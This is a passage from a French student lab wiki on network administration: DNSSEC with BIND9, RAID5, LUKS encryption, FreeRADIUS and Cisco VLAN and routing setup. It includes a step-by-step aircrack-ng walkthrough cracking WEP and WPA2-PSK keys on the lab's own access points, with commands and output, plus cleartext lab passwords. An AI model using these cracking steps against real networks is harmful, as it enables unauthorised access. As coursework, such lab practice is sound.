 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponible:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisé du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
